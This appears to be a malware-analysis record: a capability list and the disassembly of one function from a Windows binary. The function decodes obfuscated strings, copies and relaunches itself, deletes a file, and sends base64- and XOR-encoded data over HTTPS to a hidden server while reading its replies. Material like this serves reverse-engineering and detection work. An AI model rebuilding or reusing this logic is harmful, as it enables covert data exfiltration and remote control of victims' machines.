Function at 0x140018ad0
Capabilities:
Accept command line arguments
Connect to http server
Contain obfuscated stackstrings
Create http request
Delete file
Encode data using base64
Encode data using xor
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x338
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rbp, [rsp + 0x90]
mov rcx, rbp
call fcn.140027630
mov r8, 0xffffffffffffffff
movabs rax, 0x3f223f745a5a5a
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x220]
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.14001cb40
mov rcx, rbp
mov rdx, rax
call fcn.14001e840
cmp rax, 0xffffffffffffffff
je 0x140019024
lea r12, [rsp + 0xb0]
lea r13, [0x14002b0a5]
mov rdx, r13
mov rcx, r12
call fcn.140027630
mov rsi, qword [rsp + 0x68]
mov r8, 0xffffffffffffffff
movabs rax, 0x190419527c7c7c
mov qword [rsp + 0x220], rax
mov rcx, rsi
call fcn.14001cb40
mov rcx, rbp
mov rdx, rax
call fcn.14001e840
test rax, rax
jne 0x140018ee4
mov rcx, qword [rsp + 0x68]
or r8, 0xffffffffffffffff
movabs rax, 0x4008105c727272
mov qword [rsp + 0x220], rax
call fcn.14001cb40
mov rcx, rbp
mov rdx, rax
call fcn.14001e840
test rax, rax
jne 0x140019ca6
cmp qword [rsp + 0xb8], 5
ja 0x140019061
cmp qword [0x14002a220], 0
je 0x140019d07
cmp qword [0x14002a210], 0
je 0x140019c42
mov rdi, qword [rsp + 0x68]
xor eax, eax
mov ecx, 0x20
lea rsi, [rsp + 0x220]
mov r8d, 0x104
mov rdx, rsi
rep stosq qword [rdi], rax
stosd dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movq xmm1, qword [0x14002a414]
lea r15, [rsp + 0xf0]
mov rdx, rsi
movq xmm0, qword [0x14002a3c4]
mov rcx, r15
pxor xmm0, xmm1
movq qword [0x14002a414], xmm0
call fcn.140027630
lea rsi, [rsp + 0x1b0]
lea r14, [rsp + 0x110]
mov dword [rsp + 0x1b0], 0x36525252
mov rcx, rsi
mov qword [rsp + 0x50], rsi
mov word [rsp + 0x1b4], 0xe68
call fcn.14001cb10
mov rcx, r14
mov rdx, rax
call fcn.140027630
movabs rax, 0x1f574f032d2d2d
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x150]
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.14001cb40
mov rcx, rsi
mov rbx, rax
call fcn.1400189a0
lea rdi, [rsp + 0x170]
mov r8, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x110]
mov r9, rsi
mov rcx, rdi
call fcn.140028500
mov rdx, rbx
mov rcx, rdi
call fcn.140025710
mov rdx, rax
lea rax, [rsp + 0x130]
mov rbx, rsi
mov rcx, rax
mov qword [rsp + 0x78], rax
call fcn.140026c80
mov rcx, rdi
call fcn.140024630
mov rcx, rsi
call fcn.140024630
mov rcx, rsi
mov dword [rsp + 0x1b0], 0x3f4d4d4d
mov word [rsp + 0x1b4], 0x2f
call fcn.14001cae0
mov rcx, qword [rsp + 0xf0]
mov rdx, rax
call sub.msvcrt.dll_fopen
mov word [rsp + 0x1b4], 0xb
mov rcx, rbx
mov rsi, rax
mov dword [rsp + 0x1b0], 0x1e696969
call fcn.14001cae0
mov rcx, qword [rsp + 0x130]
mov rdx, rax
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140019d5f
nop dword [rax]
mov rcx, rsi
call sub.msvcrt.dll_fgetc
mov rdx, rbx
mov ecx, eax
mov r13d, eax
call sub.msvcrt.dll_fputc
cmp r13d, 0xffffffff
jne 0x140018d80
mov rcx, rsi
call sub.msvcrt.dll_fclose
mov rcx, rbx
call sub.msvcrt.dll_fclose
lea rax, [rsp + 0xd0]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.140026c80
mov rcx, qword [rsp + 0x78]
call fcn.140024630
mov rcx, r14
call fcn.140024630
mov rcx, r15
call fcn.140024630
movq xmm1, qword [0x14002a414]
movq xmm0, qword [0x14002a3c4]
cmp qword [rsp + 0xd8], 0
pxor xmm0, xmm1
movq qword [0x14002a414], xmm0
je 0x14001901d
mov ecx, 0x8ba
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r10d, r10d
movabs rax, 0x100000101
mov dword [rsp + 0x1b0], 0x68
mov qword [rsp + 0x1b8], r9
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x1ec], rax
mov qword [rsp + 0x1f8], r10
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rcx, rdi
call fcn.1400189a0
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14002b0a6]
call fcn.140027630
mov rcx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x178]
lea rdx, [rsp + 0x160]
mov r9, qword [rsp + 0x150]
lea rax, [rcx + r8]
cmp r9, rdx
je 0x140019f58
mov r10, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x170]
cmp r10, rax
jae 0x140018f40
lea r10, [rsp + 0x180]
cmp rdx, r10
je 0x140019f63
mov r10, qword [rsp + 0x180]
cmp r10, rax
jb 0x140018f40
mov qword [rsp + 0x20], rcx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.140026480
jmp 0x140018f4a
movabs rax, 0x3528357e505050
or r8, 0xffffffffffffffff
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x1b0]
mov rcx, rax
call fcn.14001cb40
mov rcx, rbp
mov rdx, rax
call fcn.14001e840
or r9, 0xffffffffffffffff
mov rdx, rbp
mov rcx, rsi
lea r8, [rax + 1]
call fcn.14001f400
mov rcx, r12
mov rdx, rsi
call fcn.140027ce0
mov rcx, rsi
call fcn.140024630
jmp 0x140018bc7
mov rcx, qword [rsp + 0x70]
call fcn.1400257d0
mov rcx, qword [rsp + 0x78]
mov rdx, rax
call fcn.140026c80
mov rsi, qword [rsp + 0x70]
mov rcx, rsi
call fcn.140024630
mov rcx, rdi
call fcn.140024630
mov r8, qword [rsp + 0x78]
mov rcx, rdi
mov rdx, qword [rsp + 0x58]
mov rbx, qword [0x14002a210]
call fcn.140028540
mov rax, qword [rsp + 0x50]
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x38], rcx
mov rdx, qword [rsp + 0x170]
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor ecx, ecx
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
xor r8d, r8d
mov qword [rsp + 0x40], rax
call rbx
mov ebx, eax
mov rcx, rdi
call fcn.140024630
test ebx, ebx
je 0x14001900f
mov rcx, qword [rsp + 0x150]
mov edx, 0x2bf20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140018ff4
mov rcx, qword [rsp + 0x150]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x158]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x150]
call rbx
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call sub.msvcrt.dll_exit
movabs rax, 0x64e561a343434
or r8, 0xffffffffffffffff
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x1b0]
mov rcx, rax
call fcn.14001cb40
mov rcx, rbp
mov rdx, rax
call fcn.14001e840
add rax, 1
jne 0x140018b3f
jmp 0x14001901d
mov rcx, r12
call fcn.140024630
mov rcx, rbp
call fcn.140024630
movdqu xmm0, xmmword [0x14002b1b0]
movabs rax, 0x555e4d5e4e4540
lea rdx, [rsp + 0x1d7]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1b3]
movups xmmword [rsp + 0x1b0], xmm0
movdqu xmm0, xmmword [0x14002b1c0]
mov qword [rsp + 0x88], rax
movups xmmword [rsp + 0x1c0], xmm0
nop dword [rax + rax]
xor dword [rax], 0x2c2c2c2c
add rax, 4
cmp rax, rdx
jne 0x1400190c0
movdqu xmm0, xmmword [0x14002b1d0]
mov rax, qword [0x14002b260]
mov byte [rsp + 0x2b8], 0
lea rdx, [rsp + 0x2b8]
movups xmmword [rsp + 0x220], xmm0
movdqu xmm0, xmmword [0x14002b1e0]
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x223]
movups xmmword [rsp + 0x230], xmm0
movdqu xmm0, xmmword [0x14002b1f0]
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x240], xmm0
movdqu xmm0, xmmword [0x14002b200]
movups xmmword [rsp + 0x250], xmm0
movdqu xmm0, xmmword [0x14002b210]
movups xmmword [rsp + 0x260], xmm0
movdqu xmm0, xmmword [str.3drjC]
movups xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x14002b230]
movups xmmword [rsp + 0x280], xmm0
movdqu xmm0, xmmword [0x14002b240]
movups xmmword [rsp + 0x290], xmm0
movdqu xmm0, xmmword [0x14002b250]
movups xmmword [rsp + 0x2a0], xmm0
xor byte [rax], 0x13
lea rax, [rsp + 0x224]
nop word cs:[rax + rax]
xor byte [rax], 0x13
xor byte [rax + 1], 0x13
add rax, 2
cmp rdx, rax
jne 0x1400191a0
mov rax, qword [0x14002b268]
lea rbx, [rsp + 0x173]
mov dword [rsp + 0x178], 0x555d170b
lea rdx, [rsp + 0x17d]
mov word [rsp + 0x17c], 0x55
mov qword [rsp + 0x170], rax
mov rax, rbx
nop word [rax + rax]
xor byte [rax], 0x39
xor byte [rax + 1], 0x39
add rax, 2
cmp rdx, rax
jne 0x1400191f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140019281
movdqu xmm0, xmmword [0x14002b270]
mov rdx, rbx
lea rcx, [rsp + 0x185]
mov dword [rsp + 0x180], 0x17160c06
mov word [rsp + 0x184], 0x22
movups xmmword [rsp + 0x170], xmm0
nop
xor byte [rdx], 0x63
xor byte [rdx + 1], 0x63
add rdx, 2
cmp rcx, rdx
jne 0x140019240
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov r9d, 0x201010
xor ecx, ecx
mov dword [rsp + 0x20], edx
mov r8, qword [rsp + 0x88]
mov dword [rsp + 0x28], 0xc36
mov rdx, qword [rsp + 0x60]
call rax
lea rcx, [rsp + 0x170]
call fcn.14001a2e0
cmp qword [rsp + 0x188], 0
je 0x14001901d
lea rax, [rsp + 0x140]
mov rbx, qword [rsp + 0x180]
mov byte [rsp + 0x140], 0
lea r13, [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
lea rbp, [rsp + 0x230]
movabs r12, 0x3fffffffffffffff
mov qword [rsp + 0x130], rax
xor eax, eax
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x50], rax
test rbx, rbx
jne 0x140019a5a
lea rax, [rsp + 0x130]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x78], rax
mov rdx, rax
mov rax, qword [rsp + 0x138]
lea r9, [rax - 1]
call fcn.14001f400
mov rdi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
mov rdx, rdi
call fcn.140027ce0
mov rcx, rdi
call fcn.140024630
xor ecx, ecx
mov r8d, 0x88888889
nop word [rax + rax]
mov eax, ecx
lea rdi, [0x14002a3c4]
imul rax, r8
lea rsi, [rdi + 0x10]
shr rax, 0x23
mov edx, eax
shl edx, 4
sub edx, eax
mov eax, ecx
sub eax, edx
cdqe
movzx eax, byte [rdi + rax]
xor byte [rsi + rcx], al
add rcx, 1
cmp rcx, 0x20
jne 0x140019350
movq xmm0, qword [0x14002a414]
movq xmm1, qword [0x14002a3c4]
movabs rax, 0x102030c0d0e0f
mov dword [rsp + 0x260], 0x444052
mov qword [rsp + 0x240], rax
mov r13, qword [rsp + 0x138]
movabs rax, 0x18191a1b04050607
lea rdx, [rsp + 0x260]
pxor xmm0, xmm1
mov qword [rsp + 0x248], rax
movabs rax, 0x5b1112131c1d1e1f
mov rbx, qword [rsp + 0x130]
mov qword [rsp + 0x250], rax
movdqu xmm1, xmmword [0x14002b2a0]
movabs rax, 0x535c5d5e5f58595a
movq qword [0x14002a414], xmm0
movdqu xmm0, xmmword [str.kkk___.________:98___321_n_t_bkkkkkkkkkkkkkkkkCCC]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x68]
movups xmmword [rsp + 0x220], xmm0
movdqu xmm0, xmmword [0x14002b290]
movups xmmword [rsp + 0x230], xmm0
movdqu xmm0, xmmword [rax + 3]
add rax, 0x10
pxor xmm0, xmm1
movups xmmword [rax - 0xd], xmm0
cmp rdx, rax
jne 0x140019437
lea rax, [rsp + 0x1b0]
mov rdx, qword [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.140027630
mov rcx, r13
call fcn.1400288d0
mov r8, r13
mov rdx, rbx
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x80], rax
call sub.msvcrt.dll_memcpy
test r13, r13
je 0x140019f6e
lea rcx, [r13 + rdi]
nop word cs:[rax + rax]
movzx edx, byte [rax]
test dl, dl
je 0x1400194ac
xor edx, 0x64
mov byte [rax], dl
add rax, 1
cmp rcx, rax
jne 0x1400194a0
lea rax, [r13 + 2]
mov ecx, 3
xor edx, edx
xor r14d, r14d
div rcx
mov qword [rsp + 0x158], r14
mov byte [rsp + 0x160], 0
lea r15, [rsp + 0x160]
mov qword [rsp + 0x150], r15
lea r14, [rax*4]
xor eax, eax
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x70], rax
nop word [rax + rax]
mov rax, qword [rsp + 0x58]
mov ecx, 0x10
xor r12d, r12d
cmp rax, r13
jae 0x14001952b
mov rdi, qword [rsp + 0x80]
movzx edx, byte [rdi + rax]
shl edx, cl
or r12d, edx
sub ecx, 8
add rax, 1
cmp ecx, 0xfffffff8
jne 0x140019515
movabs rax, 0xaaaaaaaaaaaaaaab
mul qword [rsp + 0x58]
mov edi, 0x12
shr rdx, 1
lea rsi, [rdx*4]
nop word cs:[rax + rax]
mov rbx, qword [rsp + 0x158]
mov rax, qword [rsp + 0x150]
lea rbp, [rbx + 1]
cmp rsi, r14
jae 0x140019ba0
mov ecx, edi
mov edx, r12d
shr edx, cl
mov rcx, qword [rsp + 0x1b0]
and edx, 0x3f
movzx ecx, byte [rcx + rdx]
mov byte [rsp + 0x60], cl
cmp rax, r15
je 0x140019c38
mov rdx, qword [rsp + 0x160]
cmp rdx, rbp
jb 0x140019bd8
movzx ecx, byte [rsp + 0x60]
mov byte [rax + rbx], cl
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x158], rbp
mov byte [rax + rbx + 1], 0
sub edi, 6
add rsi, 1
cmp edi, 0xfffffffa
jne 0x140019560
add qword [rsp + 0x58], 3
mov rax, qword [rsp + 0x58]
cmp rax, r13
jb 0x140019508
mov rcx, qword [rsp + 0x80]
call fcn.1400288a0
mov rcx, qword [rsp + 0x50]
call fcn.140024630
mov rdx, qword [rsp + 0x88]
movabs rax, 0x4e494e4957696969
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x1b0], rax
mov rbp, qword [rsp + 0x150]
movabs rax, 0x2f50545448205445
mov qword [rsp + 0x1b8], rax
mov dword [rsp + 0x1c0], 0x312e31
call fcn.140027630
xor r12d, r12d
mov rcx, qword [rsp + 0x220]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rcx, qword [rsp + 0x68]
mov rbx, rax
call fcn.140024630
test rbx, rbx
je 0x1400198fb
xor r11d, r11d
xor esi, esi
xor edi, edi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov r8d, 0x1bb
mov rcx, rbx
mov qword [rsp + 0x38], r11
lea rdx, [0x14002a3d4]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, rax
test rax, rax
je 0x1400198f6
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x113]
mov byte [rsp + 0x114], 0
mov dword [rsp + 0x110], 0x2f5d5d5d
call fcn.140027630
xor ecx, ecx
lea rsi, [0x14002a3f4]
mov r8d, 0xf
mov eax, ecx
cdq
idiv r8d
lea rax, [0x14002a3c4]
movsxd rdx, edx
movzx eax, byte [rax + rdx]
xor byte [rsi + rcx], al
add rcx, 1
cmp rcx, 0x20
jne 0x1400196ff
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call fcn.140025710
xor ecx, ecx
mov r8d, 0xf
mov eax, ecx
cdq
idiv r8d
lea rax, [0x14002a3c4]
movsxd rdx, edx
movzx eax, byte [rax + rdx]
xor byte [rsi + rcx], al
add rcx, 1
cmp rcx, 0x20
jne 0x140019735
mov dword [rsp + 0x220], 0x211e1e1e
mov r15, qword [rsp + 0x68]
mov word [rsp + 0x224], 0x237d
mov rcx, r15
call fcn.14001cb10
mov r12, qword [rsp + 0x50]
mov rdx, rax
mov rcx, r12
call fcn.140025710
lea rdx, [0x14002a414]
mov rcx, r12
call fcn.140025710
lea r14, [rsp + 0x110]
mov rsi, qword [rsp + 0x1b0]
mov dword [rsp + 0x110], 0x3b7c7c7c
mov word [rsp + 0x114], 0x2839
mov rcx, r14
call fcn.14001cb10
mov rcx, r15
mov rdx, rax
call fcn.140027630
xor r9d, r9d
xor r10d, r10d
mov r8, rsi
mov rcx, rdi
mov qword [rsp + 0x38], r9
mov rdx, qword [rsp + 0x220]
xor r9d, r9d
mov dword [rsp + 0x30], 0xcc0000
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], r10
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, r15
mov rsi, rax
call fcn.140024630
mov rcx, r12
call fcn.140024630
test rsi, rsi
je 0x140019fa2
lea r15, [rsp + 0xf0]
mov r9, r14
mov edx, 0x1f
mov rcx, rsi
mov dword [rsp + 0x110], 4
mov r8, r15
call qword [sym.imp.WININET.dll_InternetQueryOptionW]
test eax, eax
jne 0x140019fce
movdqu xmm0, xmmword [0x14002b2b0]
mov byte [rsp + 0x1c2], 0
lea rdx, [rsp + 0x1c2]
mov word [rsp + 0x1c0], 0x6379
mov rax, qword [rsp + 0x88]
movups xmmword [rsp + 0x1b0], xmm0
xor byte [rax], 0x43
xor byte [rax + 1], 0x43
xor byte [rax + 2], 0x43
add rax, 3
cmp rdx, rax
jne 0x140019880
mov r15, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x88]
mov rcx, r15
call fcn.140027630
mov rdx, rbp
mov rcx, r15
call fcn.140025710
mov r8d, dword [rsp + 0x228]
mov rdx, qword [rsp + 0x220]
mov r9d, 0xa0000000
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov ebp, eax
mov rcx, r15
call fcn.140024630
test ebp, ebp
jne 0x140019ff7
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
mov rcx, qword [rsp + 0x70]
call fcn.140024630
xor eax, eax
mov r8d, 0x88888889
nop dword [rax]
mov edx, eax
lea rdi, [0x14002a3c4]
imul rdx, r8
lea rsi, [rdi + 0x10]
shr rdx, 0x23
mov ecx, edx
shl ecx, 4
sub ecx, edx
mov edx, eax
sub edx, ecx
movsxd rdx, edx
movzx edx, byte [rdi + rdx]
xor byte [rsi + rax], dl
add rax, 1
cmp rax, 0x20
jne 0x140019910
movq xmm0, qword [0x14002a414]
mov rcx, qword [rsp + 0x78]
movq xmm1, qword [0x14002a3c4]
pxor xmm0, xmm1
movq qword [0x14002a414], xmm0
call fcn.140024630
jmp 0x14001901d
mov qword [rsp + 0x220], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x230], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0x228], rdx
mov qword [rax], r8
mov byte [rax + 0x10], 0
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x220]
mov qword [rax + 8], 0
mov rax, r8
cmp rdx, rbp
je 0x140019b55
movdqu xmm0, xmmword [rsp + 0x228]
mov rsi, qword [rsp + 0x58]
cmp r8, rsi
je 0x140019b35
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x130], rdx
movups xmmword [rsp + 0x138], xmm0
test r8, r8
je 0x140019b45
mov qword [rsp + 0x220], r8
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x228], 0
mov byte [rax], 0
mov rcx, qword [rsp + 0x220]
cmp rcx, rbp
je 0x140019a30
mov rax, qword [rsp + 0x230]
lea rdx, [rax + 1]
call fcn.1400288c0
mov rcx, qword [rsp + 0x1b0]
cmp rcx, r13
je 0x140019a4e
mov rax, qword [rsp + 0x1c0]
lea rdx, [rax + 1]
call fcn.1400288c0
mov rbx, qword [rbx]
test rbx, rbx
je 0x1400192fc
mov rsi, qword [rbx + 0x18]
mov rdi, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x50]
mov r14, qword [rbx + 0x10]
mov qword [rsp + 0x1b0], r13
lea rdx, [rsi + rdi]
mov byte [rsp + 0x1c0], 0
mov r15, qword [rsp + 0x130]
mov qword [rsp + 0x1b8], 0
call fcn.140026790
mov rax, r12
sub rax, qword [rsp + 0x1b8]
cmp rax, rdi
jb 0x14001a09b
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov rdx, r15
call fcn.1400268d0
mov rax, r12
sub rax, qword [rsp + 0x1b8]
cmp rax, rsi
jb 0x14001a0a7
mov rcx, qword [rsp + 0x50]
mov r8, rsi
mov rdx, r14
call fcn.1400268d0
cmp qword [rsp + 0x1b8], r12
je 0x14001a08f
mov rcx, qword [rsp + 0x50]
mov r8d, 1
lea rdx, [0x14002b0a8]
call fcn.1400268d0
mov qword [rsp + 0x220], rbp
mov rdx, qword [rax]
lea r8, [rax + 0x10]
mov rcx, qword [rax + 8]
cmp rdx, r8
jne 0x140019970
add ecx, 1
mov rdi, rbp
mov rsi, r8
rep movsb byte [rdi], byte [rsi]
jmp 0x140019984
mov qword [rsp + 0x130], rdx
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x220], rbp
mov rax, rbp
jmp 0x140019a03
mov rax, qword [rsp + 0x228]
test rax, rax
je 0x140019b86
cmp rax, 1
je 0x140019fae
mov ecx, eax
mov rdi, r8
mov rsi, rbp
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x130]
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x138], rax
mov byte [r8 + rax], 0
mov rax, qword [rsp + 0x220]
jmp 0x140019a03
cmp rax, r15
je 0x140019c2e
mov rdx, qword [rsp + 0x160]
cmp rdx, rbp
jb 0x140019c08
mov byte [rax + rbx], 0x3d
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x158], rbp
mov byte [rax + rbx + 1], 0
jmp 0x1400195ce
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], 1
call fcn.140026aa0
mov rax, qword [rsp + 0x150]
jmp 0x1400195b1
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], 1
call fcn.140026aa0
mov rax, qword [rsp + 0x150]
jmp 0x140019bb6
mov edx, 0xf
jmp 0x140019bb1
mov edx, 0xf
jmp 0x1400195a8
lea rax, [rsp + 0x223]
movdqu xmm0, xmmword [0x14002b1a0]
mov word [rsp + 0x230], 0x46
lea rdx, [rsp + 0x231]
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x220], xmm0
nop dword [rax]
xor byte [rax], 7
xor byte [rax + 1], 7
add rax, 2
cmp rax, rdx
jne 0x140019c78
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x14002a220]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002a210], rax
jmp 0x140018bf2
movabs rax, 0x276f773b151515
or r8, 0xffffffffffffffff
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x1b0]
mov rcx, rax
call fcn.14001cb40
mov rcx, rbp
mov rdx, rax
call fcn.14001e840
mov rdi, qword [rsp + 0x68]
or r9, 0xffffffffffffffff
mov rdx, rbp
lea r8, [rax + 1]
mov rcx, rdi
call fcn.14001f400
mov rcx, r12
mov rdx, rdi
call fcn.140027ce0
mov rcx, rdi
call fcn.140024630
jmp 0x140018bc7
mov rax, qword [0x14002b198]
lea rdx, [rsp + 0x22c]
mov qword [rsp + 0x220], rax
movabs rax, 0x44444c061a1b44
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x68]
xor dword [rax + 3], 0x28282828
add rax, 4
cmp rdx, rax
jne 0x140019d35
lea rcx, [rsp + 0x223]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14002a220], rax
jmp 0x140018be4
mov dword [rsp + 0x1b0], 0x593c3c3c
mov rcx, qword [rsp + 0x50]
mov word [rsp + 0x1b4], 0x6006
call fcn.14001cb10
mov rcx, r14
mov rdx, rax
call fcn.140025c10
movabs rax, 0x54d5519373737
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.14001cb40
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call fcn.1400189a0
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x118]
mov rcx, rdi
mov rdx, qword [rsp + 0x110]
call fcn.140028500
mov rdx, rbx
mov rcx, rdi
call fcn.140025710
mov rbx, qword [rsp + 0x70]
mov rdx, rax
mov rcx, rbx
call fcn.140026c80
mov rcx, qword [rsp + 0x78]
mov rdx, rbx
call fcn.140027ce0
mov rcx, rbx
call fcn.140024630
mov rcx, rdi
call fcn.140024630
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140024630
mov rcx, rbx
mov dword [rsp + 0x1b0], 0x777777
mov word [rsp + 0x1b4], 0x15
call fcn.14001cae0
mov rcx, qword [rsp + 0x130]
mov rdx, rax
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
jne 0x140018d80
mov dword [rsp + 0x1b0], 0x680e0e0e
mov rcx, qword [rsp + 0x50]
mov word [rsp + 0x1b4], 0x5234
call fcn.14001cb10
mov rcx, r14
mov rdx, rax
call fcn.140025c10
movabs rax, 0x3f776f230d0d0d
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0xd0], rax
call fcn.14001cb40
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call fcn.1400189a0
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x118]
mov rcx, rdi
mov rdx, qword [rsp + 0x110]
call fcn.140028500
mov rdx, rbx
mov rcx, rdi
call fcn.140025710
mov rbx, qword [rsp + 0x70]
mov rdx, rax
mov rcx, rbx
call fcn.140026c80
mov rcx, qword [rsp + 0x78]
mov rdx, rbx
call fcn.140027ce0
mov rcx, rbx
call fcn.140024630
mov rcx, rdi
call fcn.140024630
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140024630
mov rcx, rbx
mov dword [rsp + 0x1b0], 0xa7d7d7d
mov word [rsp + 0x1b4], 0x1f
call fcn.14001cae0
mov rcx, qword [rsp + 0x130]
mov rdx, rax
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
jne 0x140018d80
mov rcx, qword [rsp + 0x58]
mov rdx, r13
call fcn.140027630
jmp 0x140018dc5
mov r10d, 0xf
jmp 0x140018ea1
mov r10d, 0xf
jmp 0x140018ecb
lea rax, [rsp + 0x160]
mov byte [rsp + 0x160], 0
mov qword [rsp + 0x150], rax
xor eax, eax
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x70], rax
jmp 0x1400195ee
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400198f1
movzx eax, byte [rsp + 0x230]
mov byte [r8], al
mov r8, qword [rsp + 0x130]
mov rax, qword [rsp + 0x228]
jmp 0x140019b86
mov r9d, dword [rsp + 0x110]
mov r8, r15
mov edx, 0x1f
mov rcx, rsi
or dword [rsp + 0xf0], 0x3380
call qword [sym.imp.WININET.dll_InternetSetOptionW]
jmp 0x14001984e
xor r8d, r8d
xor r9d, r9d
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x1400198e5
xor ecx, ecx
mov r12, qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov r13, qword [sym.imp.WININET.dll_InternetReadFile]
mov dword [rsp + 0x1b0], ecx
jmp 0x14001a075
mov r14d, dword [rsp + 0x1b0]
test r14d, r14d
je 0x1400198e5
lea ecx, [r14 + 1]
call sub.msvcrt.dll_malloc
mov r9, qword [rsp + 0x68]
mov r8d, r14d
mov rcx, rsi
mov rbp, rax
mov rdx, rax
call r13
cmp dword [rsp + 0x220], 0
je 0x1400198e5
mov rcx, rbp
call fcn.140012fd8
mov rdx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call r12
test eax, eax
jne 0x14001a031
jmp 0x1400198e5
lea rcx, [0x14002b090]
call fcn.140029490
lea rcx, [0x14002b090]
call fcn.140029490
lea rcx, [0x14002b090]
